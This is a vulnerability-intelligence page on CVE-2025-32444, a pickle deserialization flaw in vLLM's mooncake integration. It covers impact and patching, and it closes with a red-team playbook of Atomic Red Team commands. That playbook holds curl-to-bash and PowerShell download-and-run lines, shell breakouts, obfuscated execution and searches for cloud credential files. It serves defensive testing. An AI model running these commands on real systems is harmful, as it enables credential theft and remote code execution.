CVE-2025-32444

CRITICAL Pub 30/04 Upd 30/04

Overview

This vulnerability is a deserialization flaw arising from the use of Python's pickle serialization over unsecured ZeroMQ sockets in the vLLM project's mooncake integration. The root cause is the acceptance and deserialization of untrusted data on ZeroMQ sockets bound to all network interfaces, enabling arbitrary code execution. The affected component is the mooncake integration within vLLM versions from 0.6.5 up to, but not including, 0.8.5.

Vulnerability Description

vLLM is a high-throughput and memory-efficient inference and serving engine for LLMs. Versions starting from 0.6.5 and prior to 0.8.5, having vLLM integration with mooncake, are vulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack. vLLM instances that do not make use of the mooncake integration are not vulnerable. This issue has been patched in version 0.8.5.

Impact

An unauthenticated remote attacker with network access to the exposed ZeroMQ sockets can execute arbitrary code on the affected vLLM server. This enables full compromise of the system, including data theft, service disruption, and lateral movement within the network. Since the sockets listen on all interfaces and require no user interaction or privileges, exploitation is straightforward in exposed environments, consistent with the CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Solution

Users of vLLM with mooncake integration should upgrade to version 0.8.5 or later, where the vulnerability is patched as per the GitHub security advisories GHSA-hj4w-hm2g-p6w5 and GHSA-x3m8-f7g5-qhm7. The patch removes the insecure pickle deserialization over ZeroMQ sockets. Detailed upgrade instructions and commit information are available at https://github.com/vllm-project/vllm/security/advisories/GHSA-hj4w-hm2g-p6w5 and the related commit a5450f11c95847cf51a17207af9a3ca5ab569b2c.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the vLLM inference and serving engine arises from the use of pickle-based serialization over unsecured ZeroMQ sockets. This design flaw allows for remote code execution, as malicious actors can exploit the serialization mechanism to execute arbitrary code on the server hosting the vulnerable application. The integration with mooncake in versions from 0.6.5 to prior to 0.8.5 exposes the application to significant risk, as the ZeroMQ sockets are configured to listen on all network interfaces. This misconfiguration effectively broadens the attack surface, making it easier for unauthorized users to access and exploit the vulnerable sockets.

Attack vectors for this vulnerability are particularly concerning due to the nature of the serialization process. An attacker could send specially crafted payloads to the unsecured ZeroMQ sockets, which would then be deserialized by the vLLM application. This deserialization process can lead to the execution of arbitrary code, allowing the attacker to gain control over the system. Scenarios may include an attacker within the same network segment leveraging this vulnerability to escalate privileges, or an external attacker exploiting the open network interfaces to gain unauthorized access. The implications of such exploitation are severe, as it could lead to data breaches, service disruptions, or even the complete compromise of the affected system.

The real-world impact of this vulnerability extends beyond technical concerns, posing significant business risks. Organizations utilizing vLLM for large language model inference may find themselves exposed to data theft, loss of intellectual property, or reputational damage in the event of a successful attack. The high CVSS score of 9.8 indicates the critical nature of this vulnerability, suggesting that its exploitation could lead to catastrophic outcomes. Furthermore, the reliance on machine learning models in various industries means that the consequences of a breach could affect not only the organization itself but also its clients and partners, amplifying the overall risk.

To detect and mitigate this vulnerability, organizations should first ensure that they are running the patched version of vLLM (0.8.5 or later). Regularly updating software is a fundamental practice in cybersecurity, as it helps to close known vulnerabilities. Additionally, organizations should implement network segmentation to restrict access to the ZeroMQ sockets, ensuring that only trusted sources can communicate with the vLLM instances. Employing intrusion detection systems (IDS) can also aid in identifying suspicious activity related to unauthorized access attempts. Furthermore, organizations should consider using more secure serialization methods that do not rely on pickle, thereby reducing the risk associated with deserialization attacks.

In conclusion, the vulnerability in the vLLM engine highlights the critical importance of secure coding practices and proper configuration in software development. The potential for remote code execution through insecure serialization mechanisms poses a significant threat to organizations leveraging this technology. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive measures to safeguard their systems against exploitation. Implementing robust detection and mitigation strategies will not only protect against this specific vulnerability but also enhance the overall security posture of the organization.



Recent CSURFACE threat intelligence indicates a marked escalation in the likelihood of exploitation for CVE-2025-32444, as evidenced by a substantial increase in the Exploit Prediction Scoring System (EPSS) score, which has more than doubled and now resides in the 90th percentile. This upward trend reflects growing confidence in the feasibility of remote code execution attacks against vulnerable vLLM instances, particularly those exposing unsecured ZeroMQ sockets. Although no new exploit code or active campaigns have been detected by our sensors, the rapid rise in EPSS suggests that threat actors are increasingly prioritizing this vulnerability, potentially due to its critical severity and broad network exposure. For defenders, this shift underscores an elevated risk posture and a narrowing window for preemptive action, as the probability of successful exploitation is climbing sharply. The heightened EPSS score warrants increased vigilance in monitoring network traffic and anomaly detection related to ZeroMQ communications within affected environments. Overall, the threat level for CVE-2025-32444 has intensified, moving from a theoretical to a more imminent risk scenario based on predictive exploitation trends.

Affected Products (1)

Vendor Product Version CPE
vllm Vllm Vllm All cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Deserialization Vulnerabilities
100% deserialization
Remote Code Execution
99% rce
Code Injection
71% code_injection
Authentication Bypass
58% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-586 Object Injection
55%
Medium High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-32444
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/vllm-project/vllm/security/advisories/GHSA-hj4w-hm2g-p6w5
github.com
GitHub CVE x_refsource_MISC
https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7
github.com
GitHub CVE x_refsource_MISC
https://github.com/vllm-project/vllm/commit/a5450f11c95847cf51a17207af9a3ca5ab569b2c
github.com
GitHub CVE x_refsource_MISC
https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179